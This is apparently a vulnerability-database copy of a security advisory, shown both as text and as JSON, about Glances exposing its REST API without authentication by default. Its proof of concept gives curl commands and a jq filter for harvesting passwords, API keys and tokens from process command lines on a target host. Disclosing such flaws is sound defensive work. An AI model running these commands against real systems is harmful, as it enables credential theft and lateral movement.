GHSA-WVXV-4J8Q-4WJQ

Vulnerability from github – Published: 2026-03-16 16:23 – Updated: 2026-03-19 21:01
VLAI?
Summary
Glances exposes the REST API without authentication
Details

Summary

Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.

Details

Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.

Affected Code: - File: glances/outputs/glances_restful_api.py, lines 259-272

if self.args.password:
    self._password = GlancesPassword(username=args.username, config=config)
    if JWT_AVAILABLE:
        jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)
        jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)
        self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)
        logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)")
    else:
        self._jwt_handler = None
        logger.info("JWT authentication not available (python-jose not installed)")
else:
    self._password = None  # NO AUTHENTICATION BY DEFAULT
    self._jwt_handler = None
  • File: glances/outputs/glances_restful_api.py, lines 477-480
if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # NO AUTH DEPENDENCY
  • File: glances/outputs/glances_restful_api.py, lines 98-99
self.bind_address = args.bind_address or "0.0.0.0"  # BINDS TO ALL INTERFACES
self.port = args.port or 61208
  • File: glances/plugins/processlist/__init__.py, lines 127-140
enable_stats = [
    'cpu_percent',
    'memory_percent',
    'memory_info',
    'pid',
    'username',
    'cpu_times',
    'num_threads',
    'nice',
    'status',
    'io_counters',
    'cpu_num',
    'cmdline',  # FULL COMMAND LINE EXPOSED, NO SANITIZATION
]

PoC

  1. Start Glances in default web server mode:
glances -w
# Output: Glances Web User Interface started on http://0.0.0.0:61208/
  1. Access API without authentication from any network client:
curl -s http://TARGET:61208/api/4/system | jq .

image

  1. Extract system information:
curl -s http://TARGET:61208/api/4/all > system_dump.json

image

  1. Harvest credentials from process list:
curl -s http://TARGET:61208/api/4/processlist | \
  jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) | 
  {pid, username, process: .name, cmdline}'
  1. Example credential exposure:
{
  "pid": 4059,
  "username": "root",
  "process": "python3",
  "cmdline": [
    "python3",
    "-c",
    "import time; time.sleep(3600)",
    "--api-key=sk-super-secret-token-12345",
    "--password=MySecretPassword123",
    "--db-pass=admin123"
  ]
}

Impact

Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:23:56Z",
    "nvd_published_at": "2026-03-18T06:16:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nGlances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.\n\n### Details\nRoot Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.\n\nAffected Code:\n- File: `glances/outputs/glances_restful_api.py`, lines 259-272\n\n```python\nif self.args.password:\n    self._password = GlancesPassword(username=args.username, config=config)\n    if JWT_AVAILABLE:\n        jwt_secret = config.get_value(\u0027outputs\u0027, \u0027jwt_secret_key\u0027, default=None)\n        jwt_expire = config.get_int_value(\u0027outputs\u0027, \u0027jwt_expire_minutes\u0027, default=60)\n        self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)\n        logger.info(f\"JWT authentication enabled (token expiration: {jwt_expire} minutes)\")\n    else:\n        self._jwt_handler = None\n        logger.info(\"JWT authentication not available (python-jose not installed)\")\nelse:\n    self._password = None  # NO AUTHENTICATION BY DEFAULT\n    self._jwt_handler = None\n```\n\n- File: `glances/outputs/glances_restful_api.py`, lines 477-480\n\n```python\nif self.args.password:\n    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n    router = APIRouter(prefix=self.url_prefix)  # NO AUTH DEPENDENCY\n```\n\n- File: `glances/outputs/glances_restful_api.py`, lines 98-99\n\n```python\nself.bind_address = args.bind_address or \"0.0.0.0\"  # BINDS TO ALL INTERFACES\nself.port = args.port or 61208\n```\n\n- File: `glances/plugins/processlist/__init__.py`, lines 127-140\n\n```python\nenable_stats = [\n    \u0027cpu_percent\u0027,\n    \u0027memory_percent\u0027,\n    \u0027memory_info\u0027,\n    \u0027pid\u0027,\n    \u0027username\u0027,\n    \u0027cpu_times\u0027,\n    \u0027num_threads\u0027,\n    \u0027nice\u0027,\n    \u0027status\u0027,\n    \u0027io_counters\u0027,\n    \u0027cpu_num\u0027,\n    \u0027cmdline\u0027,  # FULL COMMAND LINE EXPOSED, NO SANITIZATION\n]\n```\n\n### PoC\n\n1. Start Glances in default web server mode:\n```bash\nglances -w\n# Output: Glances Web User Interface started on http://0.0.0.0:61208/\n```\n\n2. Access API without authentication from any network client:\n```bash\ncurl -s http://TARGET:61208/api/4/system | jq .\n```\n\n\u003cimg width=\"593\" height=\"265\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54\" /\u003e\n\n\n3. Extract system information:\n```bash\ncurl -s http://TARGET:61208/api/4/all \u003e system_dump.json\n```\n\u003cimg width=\"688\" height=\"547\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7\" /\u003e\n\n4. Harvest credentials from process list:\n```bash\ncurl -s http://TARGET:61208/api/4/processlist | \\\n  jq -r \u0027.[] | select(.cmdline | tostring | test(\"password|api-key|token|secret\"; \"i\")) | \n  {pid, username, process: .name, cmdline}\u0027\n```\n\n5. Example credential exposure:\n```json\n{\n  \"pid\": 4059,\n  \"username\": \"root\",\n  \"process\": \"python3\",\n  \"cmdline\": [\n    \"python3\",\n    \"-c\",\n    \"import time; time.sleep(3600)\",\n    \"--api-key=sk-super-secret-token-12345\",\n    \"--password=MySecretPassword123\",\n    \"--db-pass=admin123\"\n  ]\n}\n```\n\n### Impact\n\nComplete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.",
  "id": "GHSA-wvxv-4j8q-4wjq",
  "modified": "2026-03-19T21:01:57Z",
  "published": "2026-03-16T16:23:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32596"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/208d876118fea5758970f33fd7474908bd403d25"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Glances exposes the REST API without authentication"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…